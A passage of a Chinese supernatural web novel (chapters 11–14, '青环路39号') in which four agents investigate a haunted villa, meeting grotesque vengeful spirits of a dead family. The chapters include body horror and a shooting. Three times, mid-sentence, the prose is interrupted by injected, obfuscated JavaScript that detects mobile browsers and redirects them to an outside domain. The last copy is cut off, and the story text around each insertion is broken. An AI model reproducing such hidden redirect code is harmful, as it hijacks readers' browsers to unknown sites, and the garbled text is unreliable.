相比于无垠之地,这里的一切都是那么熟悉和真实,就好像她们几个原本就生活在这里,毫无违和感。穿越带来的记忆遗失令她头痛,她甚至都开始怀疑,自己是否曾在这个早就覆灭的时空中生存。 “啊啊啊啊啊!”一声声由远及近的哀嚎打断了霓虹的思绪。 董咚咚还没下车就苏醒过来。车内昏暗摇晃,她还以为自己被什么不明势力绑架,挣扎着就要跳车。出租车司机一脸语塞地停在目的地,她下车还没关好门,司机就弹射出发,生怕再慢一步就被这个精神病传染。 “呃……这感觉太真实了。”董咚咚谨慎地弓着身子,搓了搓脸,“我们到2034年了?” 季明珊在她脸上停留几秒,似乎在怀疑自己不久前下的某个决定。 “走吧。”季明珊终是没说什么,拢了拢宽大雨衣下的长袍,朝马路对面走去。 董咚咚紧跟其后,像条尾巴,生怕自己被落下;霓虹被车流阻挡,和两人隔着半条街的距离,但方向一致;苏芸则走在最后,主动担负起的护卫的职责,四顾着可能存在的威胁,做好殿后工作。 四人难得默契地步伐一致,如同伴着雨滴从天而降的鬼魅,悄然入侵了这座城市。 11. 青环路39号(二) “您好,我们来看房子。”霓虹面带微笑,走到背后墙上贴有“新富地产 幸福直达”的柜台前。 “好的,请问您有预约吗?”前台负责接待的年轻女士惯性回问道。 “有。魏彤在吗?” 接待员起身,有些诧异地看向眼前这位个头虽高、但看脸顶多是高中生的女孩。她还以为是什么指名道姓的恶作剧,刚想出言委婉拒绝,就看到她身后步入一位气质成熟、高贵优雅的女性,正一脸打量地看向四周,才心下了然。 应该是妈妈的考验——希望自己女儿在公众场合能和人大方地交谈。她也被妈妈指定做过类似的事情。 “您稍等。”接待员快速拨通内线,“魏彤,前台有人找。” 季明珊几人陆续进入地产公司,到接待区落座。 霓虹不是很认同季明珊的安排——明明顶着张高中生的脸,说什么也轮不到自己和房产中介交涉。虽说这里是异度空间,自己只需抛掷一枚信标就可以返回现实,但她也不愿意在有未知危险的地方冒头,有种被推出来当挡箭牌的感觉。 “是哪位?”魏彤从办公室里疾步而出,优先到前台确认。接待员一指不远处、像是两个妈妈带着各自孩子的四人组合,魏彤立马笑呵呵地迎上去,“咱们是要看房是吧?请问有没有意向的位置或者房源呢?” “有,青环路的别墅。”季明珊幽幽开口。 “啊,那里……”魏彤犹豫了一瞬,“好,我去拿钥匙,一会儿咱打车去看。” …… 浓重雾气攀绕脚踝。霓虹一下车,就感受到了空气的湿润。先前课程中有所提及,怨灵或灵宿物附近常有雾气笼罩、格外潮湿。只是这雾气竟是从地面散发而出,周围沉寂的房屋都好似漂浮其上,黑洞洞的窗口注视着街道,看着格外阴森。 “青环路这边,虽说离市中心远了些,但房屋质量还是很好的。25年的新地产,二层独栋洋房,很有风情的欧式建筑。每户实用面积两百平左右,上下都是元宝户型,南向。这房子最棒的一点是,购房就赠送一百平的宽敞大院,这在市里可是天方夜谭啊!” 魏彤绘声绘色地介绍着,见几人神情专注,频频点头,看样有戏。哪怕他的小腿已经在宽大的裤腿里抖成了筛子,他依然热情洋溢地走在青环路上,勉力推销着。 “我们想去39号看看,听说那里正在挂牌售卖。”苏芸打断他的长篇大论,不太客气地开口,像是不想跟油嘴滑舌的中介周旋。 魏彤像被这句话钉在了原地,喉咙干涩:“你们……” “我们其实是吕先生的故交。”季明珊接过话头,“对其遭遇陈表哀痛,所以不远千里赶来,想购置下这处房产,以寄哀思。” 这话其实很诡异。但魏彤瞬间只觉一股难捱的尿意爬上脊椎,双腿抖动的幅度更大了。 “这这这这样吧,我把钥匙给你们。”魏彤连看这面前的四人,都觉得像地府爬出的恶鬼,“你你你你们自己去看吧。” “那怎么行?”苏芸厉声拒绝,“你可是中介。” 魏彤脸都皱成一团抹布,眼中极尽惊恐。虽然他半个多月没有开张,但他就算死也不会再进入那栋房子—— “我不去!那里面有鬼!” …… 地产中介的日常,除了售卖房屋,还要负责一些无人空房的通风和清洁工作,避免内部家具和墙壁发霉,影响租售。青环路39号,就属于魏彤的管辖范围。 这户人家惨遭厄难,新闻上上连续报道好几天的入室抢劫杀人,一家三口无人生还。这种情况对于中介来说很是常见,因为总有人会在家中意外死去。他们在推荐房屋时,会刻意避开这一点,如果有人提问起上个户主,他们也会用提早编纂的谎话,例如原户主一家搬至海外、回老家颐养天年等搪塞过去。 这天,他按例来空房通风。39号装修得非常不错,家具也很新,是个很好的卖点。所以他多留心了些,找到一块清洁布,准备擦拭下家具上的蒙尘。 他正在卫生间投洗,忽地有人拍了下他的肩膀。 魏彤汗毛耸立。他面前就是一面镜子,但他的脖子僵硬,不敢抬头去看。 见他不动,身后的“人”缓慢贴近了他的身体。耳边似乎能听到微弱的、起伏的喘息。他麻木的肩膀还没缓解,一只手掌忽地贴上他的后背。 魏彤被吓得灵魂出窍,连滚带爬地离开39号,飙车离开了青环路,一路闯下无数红灯,导致驾照都被吊销。他逃跑时大敞着房门,又害怕东西被偷,只好委托同事去关窗锁门,结果对方安然无事地回来,还嘲弄他胆小。 但魏彤坚信不疑,那间屋里一定有鬼,甚至还去报案。虽然最后无疾而终,他还是被噩梦纠缠许久,哪怕只是走在青环路上,内心都会下意识畏惧、想要逃离。 …… 霓虹几人自然知道里面有鬼,那正是她们此行的目标。季明珊见状,不再强求中介引路,毕竟魏彤只是这个时空里的普通人。 “霓虹。”她突然叫住了有些分神的霓虹,“专注。” “好的。”霓虹有种上课走神被抓包的感觉。她只是突然产生一种联想,自己即将接触到的所谓怨灵,会不会和无垠之地的异质体类似,都是“意外”出现在人类世界的存在。 几人驻足青环路39号的铁质大门前。 “一家三口,数据推测至少有两个怨灵存在。”季明珊将钥匙插进大门,轻轻扭转,“怨灵不会直接造成伤害,但要小心陷阱。” 铁门下的金属栅摩擦过地面,发出刺耳的噪音。几人进入空荡开阔的院子,沿着杂草丛生的石板路,朝几乎被雾气完全遮掩的39号洋房靠近。 霓虹只觉那雾像手,抚摸过皮肤,留下一片粘腻。她忍住不适,环视着四周,试图找到些线索。这里看起来荒废了许久,有些长及腰侧的杂草顶端发黄,土地是缺乏营养的灰白色,多有龟裂,按理说是种不出什么活物的。 突然,她看到一处明显低矮的草丛下方,似乎有碎落的白色瓷片,边缘锋利。 厚度不像是打碎的花盆,倒像是个盘子。可谁会把打碎的盘子插进土里? 季明珊为了避免惹人注目,特意带了覆盖瞳孔的视片,无人发觉她那墨色的瞳孔已然变为金黄。屋内确实有怨灵的气息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660053|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她微蹙眉,这屋内似乎存在人为设置的屏障,她只感受到存在,却无法判定数量。 这很少见。 几人靠近门口,房门大开,像在热情地欢迎来客。屋内昏暗,却没沾染一丝雾气,连入户地毯的花纹都能看清。 “董咚咚跟我去二楼,霓虹,你跟着季局长。”苏芸眼神凌厉,颇有军人的威压,“这里雾气太重,尽快结束。” 霓虹眼神流转几人之间,察觉到苏芸和季明珊之间的配合十分默契,像是并肩出过千百次任务。 “先去吕小琪的卧室。”季明珊吩咐道,“不要理会被注视的感觉。” 霓虹从踏进房门,就敏锐察觉来自屋内某处、明显带着恶意的眼神。听到季明珊这样说,她认为这可能是视灵者的某种能力,绷紧的后背肌肉松弛了些。 这里房屋构造和住户信息,霓虹在传送前已然知晓。一家三口,父亲叫吕方格,是一名程序员;母亲叫江蕴,家庭主妇;女儿叫吕小琪,十二岁,在X市贵族学校念初一。这栋房屋是一年前由夫妇二人贷款买下,一层有客厅、厨房、女儿卧室、公用盥洗室,还有一间书房;二楼则有一间主卧、两间客卧,以及三十平米的宽敞阳台。 吕小琪的卧室,在越过客厅的左手边,二楼主卧的正下方。霓虹跟着季明珊的步伐,小心地避让开沿途的家具。 这件房门是突兀的粉色,和屋内的装修风格很是不搭。想来父母很是照顾孩子的想法,听从了她的意愿。季明珊在门前再次动用灵视试图掌控,可惜连个影儿都捉不到。 想到屋外厚重的雾气,季明珊几乎可以肯定,吕小琪必定是怨灵之一——单纯孩童形成的怨灵往往更加强大、纯粹、难以清除。 她一手握上冰凉的门把手,一手朝后伸去,精准抓住了霓虹的手腕。 “不要挣脱。” 咔哒。 这是间少女心爆棚的卧室,连地板都是玫粉色,想来卧室的主人对粉色有明显的钟爱。靠墙贴满各色贴纸的橱柜前,是一张柔软、宽大的蛋糕床,四角垂下淡粉色的轻纱,像是芭比娃娃的城堡。 季明珊始终捉着她的手腕,霓虹只能沿着她的足迹,踏入屋内。 她的眼睛忽地传来刺痛,像是一根脱落的睫毛掉了进去。她抬手揉了揉,刺痛却更加剧烈,连带脑内的神经都跟着一跳一跳。 季明珊突然顿足。霓虹眼周都被泪水浸湿,强忍着刺痛后的酸胀睁开眼—— 薄纱遮掩下,那张蛋糕床上正躺着个身形硕大的“人”,几乎要将四个床脚压弯。“她”发出一声被吵醒的不悦娇嗔,随即缓缓直起上半身,坐了起来。 “到点了么?”吕小琪懵懂转过头,看向屋内二人。 霓虹顿时觉得喉口泛上一股酸水,恶心至极。“吕小琪”像一个被脂肪撑爆的气球人,皮肤片片裂开,像她橱柜上的贴画一般,分散覆在黄色油腻、还在流动涌出的脂肪上。 她的眼珠被后方的血管吊着,早被鼓胀的脂肪挤出眼眶,挂在嘴角,随着她的动作轻微摇晃着。鼻子处隆起大包,流出淡红血色的液体,里面的容物正在一鼓一鼓地跳动,像是心脏。 12. 青环路39号(三) “到点了么?” 见两人不回复,她明显不耐地追问了句。 “到什么点?”季明珊平复心情,试探着询问。 吕小琪没作回答,嘴角向下耷拉着,似乎一张嘴就能将自己的眼睛吃下去。 看来需要特定的回答。 霓虹没想到,怨灵这样虚无缥缈的生物,会有如此真实的实体。她这是在怨什么,怨自己太胖吗? 季明珊撒了手,自顾自绕到床的另一侧,开始寻找线索。霓虹猜想她此前是怕进门后突生变故、什么诡异力量将两人分开,才坚持要握住自己。 她沿着相反的方向搜寻。这间屋子很大,按照正常的房屋布局,完全可以分割成两个房间。霓虹没伸手触碰屋内的任何物品,只是观察,试图找到细节。 一张堆满课本和练习册的书桌,几只不同颜色的笔凌乱扔着,甚至没有扣上笔帽。旁边靠窗有个透明的玻璃橱,里面摆放着漫画、小说、低年级的课本,还有一座奖杯。 “X市青年组女子长跑1500米亚军吕小琪” 运动员?起码曾经是。这个玻璃橱被收拾得十分整洁,书本甚至按高矮、颜色排布,一看就是家长的功劳。 除了装潢夸张些,这就是间女孩子的卧室。当然封闭的橱柜和抽屉她没打开,生怕触碰到什么禁忌。 正没有头绪,霓虹突然轻微抖动着鼻翼——她似乎闻到了烤蛋糕的香气。 到时间……她飞快走到正在查看床底的季明珊身边,“厨房。” 季明珊微微挑眉。她瞬间理解了霓虹的意思,因为蛋糕的香气已经弥漫满屋。 两人一前一后走出卧室,途经沙发,来到卧室对面的半开放式厨房。米白色的弧形圆台,所有物品都摆放得整齐有序,看来负责厨房的全职太太江蕴,是个很有规矩、做事干净利落的女人。 内嵌式的烤箱正亮起绿灯,提示食物烤制完成。季明珊没有冒失打开,细致扫了一圈,从墙上拿下一个厚实的隔热手套。 “站远点。”季明珊侧着身,缓慢拉开了烤箱门。 一股滚烫的蒸汽窜出。隔了好一会儿,霓虹才看清里面的食物。十几个新鲜出炉的蘑菇头小蛋糕整齐摆放在烤盘上,那香气简直要顺着鼻腔,勾走人的大脑。 季明珊阻止了霓虹想要伸手帮忙的举动,将整盘蛋糕拿出来放在隔热台面上。霓虹端详着一旁透明的碗柜,发现里面都是清一色的白色圆盘、饭碗、汤碗,按大小码放整齐。 素净却不失格调。 “怨灵,产生于人死前的执念。”季明珊边把蛋糕码放在盘上,边传授着经验,“所以要尽可能满足怨灵的需求,或许会直接透露执念的内容。” “死后的灵魂……为什么有实体?”霓虹问出了最困惑的问题。 季明珊停了动作,抬眼问道:“你觉得人死后,灵魂会到哪里?” “天堂?地狱?阴曹地府?” “不。”季明珊轻摇着头,“灵魂会去往‘死界’。” 霓虹觉得匪夷所思。而季明珊一脸笃定的样子,像是她本人真去过、见过一般。 “往生的灵魂会前往死界长眠。而产生执念的灵魂,会拥有死前的自我意识,可以选择停留或是离开。”季明珊像个部落的萨满,“怨灵多数会回到自己生前最熟悉的地方,在这里,一切由她掌控、由她创造——就像一个独特的‘死界’。活人一旦踏足,除非她有心放逐,否则不完成她的心愿,会被困在其中,直到成为亡灵。” 霓虹顿时感觉自己被骗上了贼船。 “不过,我们拥有作弊的武器。只要信标不离身,不管在什么空间,归属于谁,轻轻一抛就能回到现实。”谈话间,季明珊已经把蛋糕全部装入盘中,单手托着,“我们回去吧。” …… “到点了么?” 庞大的脂肪人仍在床上固执问着。 根据季明珊的讲述,这个形象应该是吕小琪的怨灵自主创造的。为什么一个花季少女,会把自己想象成这么不堪的怪物? “到了,你现在要吃吗?” 吕小琪猛猛点头,差点把鼻腔里的心脏晃出来。 季明珊递上托盘,她两个眼珠飞速转动,抬手抓起数个蛋糕,连蛋糕纸都没撕,揉碎捏扁,囫囵个塞入口中。 “真好吃,妈妈。真好吃。” 不到一分钟,一整盘小蛋糕都被她消灭。她脖子处的脂肪似乎更膨胀了些,滴滴答答流下许多清亮的脂滴。 然后呢? 厨房并没有其它食物,而吕小琪明显一副没有吃饱的样子,贪婪地甩着两个眼球看向两人,似乎在说这盘蛋糕开胃了,现在就该吃你们俩了。 “暴食症。”季明珊突然开口。 霓虹了然。这盘蛋糕都够开个生日派对了,她吃得又急又多,似乎永远无法饱腹,食欲像她臆造的身体一样膨胀。 难道是之前被父母严格控制食量,一直没吃饱?但纵容她暴食,似乎更会害了她。这对父母明显对孩子宠爱有加,纵容还是救治……怎么选择都很残忍。 霓虹想到先前看到的新闻,这一家三口死于入室抢劫杀人,这么看来,似乎另有蹊跷。 “妈妈,我饿。”吕小琪突然委屈开口,“我饿。” 霓虹垂眸看了看连渣都不剩的盘子,似乎体会到了她母亲生前的难做。屋内没有挂在显眼处的校服和书包,想来吕小琪因为疾病,已经有阵子不上学了。本就全职在家的妈妈,一方面要坚定内心,帮她挺过犯病时的痛苦;另一方面又不忍看自己的孩子挨饿,所以才会白天偷偷烤制蛋糕。 她因极度的饥饿吃掉了母亲?父亲回家发现事情脱离掌控,了结了女儿后,再伪装成抢劫杀人案后自杀?霓虹觉得自己大概是在这屋里呆得太久,想法都跟着变态起来。 “先到别的屋看看。”季明珊放弃和怨灵塑造的本体沟通,毕竟她们没有丰盛的大餐来招待她。 卧室旁边还有一间屋子,应该是书房。这里显然是大人的领地,几排红棕色的原木书架,一张宽大的书桌配转椅,桌面放置着文件夹、笔记本和打印机,看起来父亲吕方格还会在这里工作。 值得关注的是,房屋的角落,还堆放着一个歪斜的画架。季明珊已经用灵视探查过屋内没有危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660054|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险,上手摘掉了覆盖画上的幕布。 这是张只填了基础底色的油彩,不知是谁的作品。房间里并没有颜料和笔刷,这爱好似乎已经搁置了一段时日。 书房里没什么有价值的线索。 “一会儿叫董咚咚下来。”季明珊扫过桌上的电脑。 霓虹不明觉厉,但还是在心里记下了。 两人移步客厅。作为一楼最宽敞的区域,这里没有安装电视,反而用巨大屏幕的投影仪替代,挂在两扇窗中间的墙壁,尺寸恰好合适;颇有质感的皮质沙发宽大,只是看着就让人产生想要上去坐坐的冲动;头顶的水晶吊灯也不是俗气的垂坠款式,像一簇爆盆的多肉植物,形状独特而又饱满。 设计装修的人一定花费了大量的时间,来设计这些颇具风格巧思,让家里每个成员都能感受到温馨幸福。 “有什么发现?”季明珊主动问道。 “或许……这里缺失了一张照片。”霓虹指向装饰壁炉上方空白的墙面。这里正对着入户的门口,进来一眼就能看到。有两处钉孔,钉子不翼而飞,显得很是突兀。 结合这家人相亲相爱的氛围,霓虹猜测这里曾经悬挂过一家三口的合照。 被藏起、还是争执中相框被摔碎? 季明珊只点点头,没多分析。 霓虹正欲弯下腰、查看茶几底层摆放的物件,突然察觉后颈一凉——那感觉就像察觉有一只蜘蛛正顺着银亮的丝线下坠,即将用八只细长的触角贴上她的皮肤。 那股压迫阴森的气息,来自楼上。好似有人打开了尘封的潘多拉魔盒,召唤出了邪恶强大的力量。 此刻她听觉敏锐到了极点,都能听清季明珊踩在地板上、刻意放轻的脚步。 那么楼上呢?苏芸和董咚咚在做什么?探查到哪一个房间了? 霓虹倾耳细听——楼上一片死寂,别说声响,似乎连活人的气息都没有了。那雾气仿佛渗透进了屋顶,将二楼包裹在一片迷雾之中。 季明珊同一刻察觉到了异样。她先是侧目看向霓虹,对方正是和她一样的反应。 “别动。”这里是自然空间,楼上若有不可抵御的威胁,苏芸会第一时间带着董咚咚一起返回传送舱。 那团雾遮挡了视线,也遮挡了季明珊的能力。她心头疑窦丛生,一个普通的B级任务,竟能让她屡屡碰壁,像是刻意为她设下的陷阱。 “去二楼看看。”季明珊打头走在前面。苏芸是个优秀的勘察员,哪怕生命受到威胁,也一定会在离开前为季明珊二人留下线索。 两人走上楼梯,不知是不是湿冷的雾气作用,步伐都有明显的凝滞。一上楼左手边就是最宽敞的主卧,季明珊顺着二楼的楼梯围栏和墙壁,一路摸到了主卧的门框。 门是开着的。 屋内视线清晰—— 苏芸仰倒在地板上,张开的手心里躺着一枚泛着金属光泽的信标。屋内满是蠕动着的、比异质体更粘稠、更可怖的黑色浆液团,像虫一样从墙壁、地面不断析出。而她则像是被这些黑虫“捆绑”在地板上,四肢和脖颈都勒出了恐怖的凹痕,表情痛苦地无声挣扎着。 13. 青环路39号(四) 季明珊飞快从腰间掏出一把袖珍手枪,子弹避开要害、果断落向苏芸身上的诡异生物。 子弹无声被吸收进那团粘液。“它”蠕动的速度缓了缓,像在分辨自己刚才吞下的是什么东西。 霓虹都能看到苏芸脸上凸显的血管纹路。在看到季明珊出枪仍旧无果后,她已经放弃挣扎,闭上了眼睛。 军人意志强大,若非死路一条,决不会放弃生志。 霓虹飞快扫视着屋内。经过刚才的观察,子弹的灼烫似乎会延缓它的行动,她看到卧室床头柜上的香炉……急中生智,连忙三步并作两步跑到床边,拉开抽屉。 果然,里面有一盒安神的燃香。她没来得及解释,飞奔下楼,到燃气灶上点燃香柱,还顺手拿了把锋利的菜刀。随后快速返回屋内,将香柱头部的零星火焰,插进了勒在苏芸脖颈处的粘液中。 那粘液像突然被热油迸溅的手,下意识回缩。就一瞬间!霓虹对准蠕动粘液的细窄处,狠狠地砍了下去。 竟然真的被她斩断了。 季明珊见状,从长靴里摸出把特制银灰小刀,飞快切断苏芸四肢攀附的粘液。苏芸还没来得及喘上口气,本能的逃生意识让她肾上腺素飙升,飞快爬起,拉着季明珊和霓虹下楼,逃出了这栋洋房。 “董咚咚呢?”季明珊第一时间询问。 “她回去了。”苏芸脸色晦暗,声音像被搅碎的纸张一样破碎,“那间主卧不对劲,我怕她死,一进门就让她回去了。” “你查到了什么?” “没有。”苏芸捂着胸口,平缓呼吸,“没有任何证据,只是感觉。” 霓虹一怔。方才她们吸引了“吕小琪”的全部注意,看来楼上的区域,并不属于她的“死界”,而是另一位怨灵。 妈妈?还是爸爸? “一进屋,我就感受到了浓浓恶意。起初没有那些玩意,董咚咚回去后,我开始搜查整间主卧。渐渐的,我发现自己的情绪不太对劲,很负面,很消极。我甚至开始回忆起当年战场上战友的死状,心想为什么死的不是我。” “我一产生想死的念头,屋里就开始分泌那些怪物。真的是分泌,像流汗一样,越来越多,并逐渐朝我移动。我的攻击完全失效,甚至在它触碰我的身体时,我感受到了熟悉和亲密。” 霓虹看向依旧苏芸身后敞开的大门。 从她们进入这间房子,一个矛盾点始终存在——往日相亲相爱的和谐一家,为什么会滋生出两个邪恶的怨灵,从苏芸和季明珊的反应来看,还是极其邪恶、非常难对付的那一类。 从他们购置房屋、装修、再到居住,顶多不到一年的时间里,这家人究竟遭遇了什么? “你回去。”季明珊握住苏芸的肩膀。 苏芸没坚持。她的机械四肢内部结构已然变形,腹部内脏经受重力挤压移位,实在不宜继续任务。 “那间屋子,一旦进入,不要被消极的思绪干扰。”苏芸握住手心的信标,“我怀疑卧室的主人之一,拥有严重的抑郁症。” …… “你也可以回去。”苏芸走后,季明珊将手中的小刀插回靴筒,看向霓虹。 这里并没有可供她操控的异质体,连手枪都不管用。苏芸虽不一定是这个世界的战力天花板,但也一定是万中挑一的强者。霓虹打量了下季明珊单薄的身体,抿了抿唇。 她虽然对季明珊抱有怀疑,却不想她死——这是目前她在联邦生存的唯一庇佑。 “你呢?” “我没什么负面情绪。”季明珊迈步往回走。 霓虹不假思索跟上。方才对苏芸的营救,让她明白自己也可以起到一定辅助作用。怨灵虽然恐怖,但总有应对的法子。更何况,跟着季明珊刷刷经验也是极其有利的。 季明珊像是带着股恼火。再次回到屋内,那个可怖的脂肪人已经爬到了楼梯口,她抬脚踹开,径直上了楼。 二楼的黑色粘稠的怪物早已消失殆尽。霓虹谨记着苏芸的经验,压抑着自己悲观的情绪,和季明珊一同搜索着主卧。 同样的温馨宜居,很有生活情调。若不是刚才见了那满屋的怪物,霓虹都想去那张大床上躺躺。 “有人在压制我的能力。”许是霓虹选择继续跟随,季明珊和她透了底,“怨灵只依附执念生存,也只会做出符合特征的行为,并不会对我造成影响。” “这里有其他人?”霓虹很快领悟。 季明珊点点头。 霓虹联想到先前那个房屋中介魏彤。他描述自己来空房打扫的时候,有“鬼”触碰了他的身体。先前她们还以为是“善意”的恶灵放了他一马。 是谁生活在这栋阴森的鬼房子里,还能有意识地阻挡季明珊发掘真相? 霓虹跟随她快速查看了每一间屋子。这里没有地窖、暗门,没有阁楼,没有可以操作的机关,只是栋寻常的房屋。活人无法隐身。 “会不会是方町?”霓虹不太喜欢这个智能人。即便在联邦,也没有多少人真正了解季明珊地能力,更何况是在异时空。 但这个任务是由方町交付的。 “方町?”季明珊眼中露出一丝茫然,“不可能。” “为什么?异时空里,没人知道你的能力。”霓虹谨慎提出自己的观点。 “方町很特殊。”季明珊没空和她普及,匆促下着结论:“她永远不会背叛任何一个人类。” 下过什么生死诅咒?可她明明是个智能人。霓虹觉得季明珊越来越像个神棍了,总把一些话说得那么绝对又邪乎。 排除了方町的嫌疑,霓虹重新开始思考——既然这个活人是在阻止季明珊寻找真相,换个角度想,那么“他/她”的行为,就是在保护怨灵。 季明珊再次将屋里翻了个底掉。她担心还有第三个怨灵,那样她会立马炸掉这里,带霓虹返回。 坦白讲,她向来不喜欢UMA的后备措施——暴力推平确实方便、快捷,并且几乎不留隐患,但毕竟是在异时空,她不希望自己的行为造成不可预测的蝴蝶效应。 可这次不同,连她都没了把握。 “这里!”楼下突然传来霓虹的呼唤。 她快步下楼,循声来到书房。霓虹正站在她们搜寻过的那幅画前。 画上多了东西。 原本涂着浅蓝底色的画布上,竟莫名多了个太阳。 周围并没有任何颜料。但霓虹笃信,之前这绝对是张纯色的画。这太阳……能看出执笔者画功了得,层次色彩都十分逼真。 孩子的卧室里,并没有看到画笔和作品。要么是这对夫妇的手笔,要么就是那个潜藏暗处的活人。 藏在书房? 她们还没来得及搜寻,霓虹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你知道我问的不是刚刚。”季明珊面露凶光,“为什么要杀死你的女儿和妻子?” …… 霓虹在楼下搜寻时,季明珊发现了一个重要线索。 主卧的床头柜,有个暗格。她深知怨灵们的习惯,总会将一些重要的东西潜藏在难以发现的角落。她轻松用刀背撬开,发现了里面的药瓶。 足足有三罐,都装有满满的药丸。每一罐上都贴了标签,字迹遒劲工整,写着具体服用的方法和保质期限。甚至每一张标签的末尾,还有一句小小的鼓励—— “老婆加油!三次都要记得吃哟!” “再坚持吃完这个疗程,就解放啦!” “老婆,维生素也不能落下,这个也可以泡水喝!” 患抑郁症的人,是江蕴。 其实不难理解。女儿患病,她每天都要活在痛苦和煎熬中,又不接触外界环境,难免会产生压抑的情绪。这种情绪无人倾诉,又或者倾诉了也无法开解,久而久之,在心里反复折磨着自己,直到患病。 两个怨灵的身份都已明了。季明珊没再找到其它怨灵存在的气息,那个活人,或许就是吕方格。 可他杀害妻女、隐瞒事实真相的原因是什么呢?从家中种种迹象来看,他和妻子非常恩爱,也很疼惜自己的女儿。还没等她想通,霓虹就在楼下发现了新的线索。 而后就是吕方格现身。 她痛恨所有为女性带来痛苦的男性。 “杀了我吧。”吕方格目光痛苦地哀求她。 “那岂不是便宜了你。”季明珊错开枪口,朝他膝盖开了一枪,让他痛跌在地,“说原因。” 14. 青环路39号(五) “等等!”霓虹突然出声阻止,可惜季明珊出枪太快,吕方格还是一脸痛苦地倒了下去。 她不知道季明珊找到了什么线索指定吕方格,但直觉告诉她,若吕方格真的是那个潜藏在暗处的、释放恶意的活人,他不会在吕小琪爆炸前将两人扑倒在地。 那威力足以崩断身上的骨头。 季明珊偏过头看她,脸上还带着愠怒。 “我有个问题。”霓虹上前一步,弯腰靠近吕方格,“你会烤小蛋糕吗?” 吕方格痛苦的表情瞬间变得惊恐。他挣扎着用破烂的膝盖,跪着朝季明珊的方向爬去,将脑袋主动贴上枪口,“杀了我,求你了,杀了我!” 季明珊思考片刻,将手枪收回。 她不得不佩服霓虹的敏锐。 怨灵可以在生前熟悉的地方创造独特的“死界”,但必须满足其生前的特性。这栋房子由两个死界拼凑而成,怨灵间可以互通是没错,可在吕小琪的卧室里,她一遍遍呼唤的人,是她的母亲。 这点可以从很多细节推断而出——江蕴作为一名家庭主妇,家中大部分的区域内都被整理得洁净有序,甚至有些“变态”的整齐。她似乎有点强迫症,但这对于一位勤劳、热爱家庭、喜欢整洁的女人来说,很是常见。 而吕方格并没有。 无论是楼下书房的办公桌上摆放歪斜、随意的电脑和办公用品,还是卧室里摆放着安神熏香、颇有些凌乱的床头柜抽屉,都可以看出,他在家没什么拘束,很是随性。当然,也是劳累工作外的一点点放纵——先前的资料里,他就职于一家颇为知名的互联网公司,担任团队领导的角色。高薪的代价,是每周只有半个休息日,同时要承担更多的责任。 而季明珊从烤炉里端出的那盘小蛋糕,先不说休息日的吕方格有没有空闲、会不会制作,那按横成三排、纵成八列排序、连底下的纸杯托的图案都摆放得角度一致,绝不可能出自吕方格之手。 吕方格,才是那个身患抑郁症的怨灵。而他似乎一心求死,仿佛别人杀了他才能得到解脱。 “江蕴呢?”霓虹半跪下来,用怜悯的目光看向这个破损亡灵重塑的“吕方格”,轻声开口,“她还活着,对吗?” 回答她的,是无声的沉默。 她正欲再度开口,突然察觉周围环境发生了微妙的变化。那股雾气再次低沉笼罩下来,带着难以去除的湿冷和压抑。霓虹几乎快看不清季明珊的五官。 一阵刻意压制的抽泣声响起。霓虹下意识想抬手捂住耳朵——这声音太悲观、太绝望,像从地狱传来的罪孽的叹息。她余光看到身后摇晃着从土地上站起的吕小琪,她不知何时恢复了血肉,看起来就像个刚放学的中学生。 只是她的脖子像戴着一个粗大的、血红色的项圈,像被人斩断头颅后又拼了回去。 “吕小琪”眨眨眼,那视线仿佛瞬间穿透了霓虹的身体,投照在正匍匐在地面、小声抽泣的“吕方格”身上。 “爸爸?”她轻唤着。 随着她这声呼唤,吕方格突然站起。他瞬间增高了数十厘米,膝盖处的破洞飞速愈合,脸上挂着淡淡的苦笑。 霓虹感受到了四肢关节的僵涩,甚至连合上眼皮都变得愈发困难。她像在极寒之地被一盆冷水从头灌下,瞬间凝成了冰雕。即便是第一时间有所察觉的季明珊也没能幸免,以抬腿奔跑的姿势僵硬在原地,莫名看着有点滑稽。 “宝宝。”吕方格开口回应,可那声音就像吞下了万根银针,带着浓厚深重的苦痛和歉疚。 吕小琪飞快跑到爸爸张开双臂的怀里。 父女二人拥抱的那一刻,院子里陡然生长出数道如同石柱般粗细的黑色浆液性生物。霓虹瞳孔骤缩——那些正是差点将苏芸在卧室里勒死的怪物!卧室中的那些不过手臂粗细…… 这是吕方格“分泌”出的情绪怪物。 果然,死界的主人创造出来的,比她们这些外来户强悍多了。霓虹费力转动眼球,看向自己胸口藏匿的那枚信标,从没觉得双手离胸口这么遥远。 以她现在的运动速度,恐怕这些怪物把自己吞食、消化完毕,才能摸到这枚信标,更别提还要将其抛出。 霓虹忍不住吐槽UMA发明的这个返回现实的方法,未免局限性太大。她要是这次能全手全脚的返回UMA的负108层,一定要仔细调阅资料,好好算算出任务的死亡率。 还没来得及继续发散思维,霓虹突然发现季明珊的身侧,有一个诡异的黑色怪物正试图掀开她的长袍。她本想出言提醒,结果声带的振动也是慢动作,根本发不出音节。 她眼睁睁看那个黑色怪物钻进她的衣服,抽搐着扭动了几下,而后快速抽了出来。说真的,那一刻她还以为那怪物掏出的是季明珊的心脏,下一个就要来掏自己了。 